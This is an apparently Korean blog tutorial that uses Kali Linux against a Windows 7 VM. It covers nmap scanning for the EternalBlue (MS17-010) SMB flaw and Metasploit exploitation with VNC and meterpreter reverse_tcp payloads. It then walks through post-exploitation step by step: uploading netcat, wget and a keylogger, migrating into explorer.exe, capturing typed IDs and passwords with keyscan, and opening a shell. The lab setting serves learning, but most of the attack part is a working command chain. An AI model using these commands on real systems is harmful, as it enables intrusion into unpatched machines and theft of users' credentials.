본 포스팅은 기본적인 Port Scanning부터 Exploit 이후 단계를 다루고 있으므로 어려움이 있다면 이전 포스팅을 참고해주세요.
1. Eternal Blue
- MS Windows 7, 2008, 8.1, 10초기버전까지 존재하는 취약점
- SMB 취약점 ( 파일 및 폴더를 공유할 때 발생하는 취약점 )
- MS의 취약점 번호 : MS17-010 ( 2017년에 발견된 취약점 )
- 공식 취약점 번호 : CVE-2017-0143~8
- 패치번호 : KB4013389
# 참고: 패치 상태 확인하기
cmd > systeminfo
KB4013389 이후 패치가 있으면 안전한 것.
2. Vulnerability Scan
1. 기본 Scan
#nmap -sP [Windows IP]/[subnet mask info]
# nmap -O [Windows IP]
# nmap -sV [windows IP] -p [port]
cf. subnet mask info = Subnet Mask의 1(network)의 개수 : 255.255.255.0
255+255+255 = 765 ( 범위지정 )

잘 살펴보면 Windows7의 IP를 유추할 수 있다.
내 경우는 Mac에서 Virtual Machine을 통해 Windows를 구동하고 있으므로
Apple이라고 적힌 IP가 가장 의심스럽다.

-O 옵션을 통해 살펴보니 Running 부분에 Windows라고 나타났다.
버전이 여러개가 나타난 것은 버전들 서로간에 다른 점이 크게 없기 때문이다.

마지막 기본 Scan으로 -sV 옵션을 통해 버전을 확인한다.
하지만 우리가 찾으려는 SMB 취약점에 대해 버전이 나오지 않는다.
하지만 SMB 취약점의 경우 139, 445 포트를 사용하고 있으니 Script를 통해
특정 IP에 존재하는 SMB 취약점 번호를 알아낼 수 있겠다.
2. 상세 Scan
Kali Linux 상에서 SMB취약점에 관한 script를 찾아보자.
# cd /usr/share/nmap/scripts
# find . -name "*smb*"
# nmap --scripts=smb* [Windows IP] -p 139
# nmpa --scripts=smb-vuln* [Windows IP] -p 139
참고) * 표시는 와일드 카드 문자로, 여러 문자들을 대치한다.

ms17-010 버전에 대한 취약점이 발견되었다.
심각한 보안 위험도를 가지고 있는 취약점이다.
이제 Metasploit을 통해 이 취약점에 대해 Exploit 해보자.
3. Exploit with VNC
1. search
일단 ms17-010에 대한 모듈이 있는지 확인해보자.
msf6 > search ms17-010

4가지 정도 모듈이 있지만 우린 이번에 EternalBlue 취약점을 Exploit할 것이다.
2. use and set
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/vncinject/reverse_tcp
msf6 > set lhost [my IP Address]
msf6 > set rhost [Windows IP Address]
msf6 > set viewonly false
# 참고) viewonly를 true로 하면 화면을 미러링하는 것 밖에 할 수 없다.
3. exploit
이제 exploit을 통해 Victim에게 원격 접속을 시도해보자.
msf6 > exploit

자 이렇게 해서 Windows7의 원격 데스크탑 조종을 할 수 있게 되었다.
지금까지는 VNC 즉, Virtual Network Connetcion ( 가상 네트워크 연결 ) 의 방법으로 Exploit을 해봤다.
이번에는 Kali Linux에서 Windows7의 쉘 권한을 획득해보자.
4. Exploit with meterpreter
VNC 창을 닫고 connection을 끊자. # Ctrl (mac: command) + C
그리고 payload만 살짝 바꿔주자
msf6 > set payload windows/x64/meterpreter/reverse_tcp
meterpreter에 연결되었다면 screenshot 한 번 찍어주자


사진이 아주 잘 찍힌 것을 볼 수 있다.
참고로 root에 저장된 사진은 root 디렉토리로 가서 다시 자신의 home 디렉토리로 복사해오면 된다.
* 파일 다운로드 방법 download [Windows Path] [Kali Path]
* 파일 업로드 방법 upload [Windows Path] [Kali Path]
nc파일을 윈도우에 업로드 해보자.
이왕이면 wget( 컨텐츠 가져오는 프로그램 ), 키로거 ( 키보드 입력 캐치 프로그램 )도 업로드 해보자
upload /user/share/windows-binaries/nc.exe c:/perflogs
upload /user/share/windows-binaries/wget.exe c:/perflogs
upload /user/share/windows-binaries/klogger.exe c:/perflogs
nc(Netcat)란? ---> TCP, UDP 프로토콜을 사용하는 네트워크 환경에서 데이터를 읽고 쓰는 유틸리티 프로그램
Windows7 키로깅하기
일단 meterpreter에 explorer.exe의 PID(Process ID)를 찾아보자.

그렇다면 migrate 명령어로 Windows로 건너가보자.
migrate [Explorer.PID]
왜 migrate을 explorer에 할까?
왜냐하면 Windows로 건너갔을 때 강제로 종료되지 않을 확률이 매우 높은 프로세스이기 때문이다.
(참고 블로그)
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=onyourlife&logNo=150146920844
이후 Key scan을 해보자
keyscan_start # 시작
keyscan_dump # ID PW 보기
keyscan_stop # 종료

정확히 키로거가 감지해냈다.
윈도우에서 쉘을 가져오는 방법은
shell
이다. 매우 간단하다.
쉘을 통해서도 스스로 여러 명령어를 사용해보자.
'정보보안 > Kali-Linux' 카테고리의 다른 글
| [정보보안][칼리리눅스] nc(Netcat)와 RAT(트로이목마)을 통한 Windows7 침투 (0) | 2023.07.25 |
|---|---|
| [정보보안][칼리리눅스] MetaSploit을 사용한 취약점 공격(Exploit) (0) | 2023.07.21 |
| [정보보안][칼리리눅스] nmap을 통한 Scanning (0) | 2023.07.21 |
| [정보보안][칼리리눅스] APT공격을 위한 정보수집, 암호 공격(Password Attack) (0) | 2023.07.21 |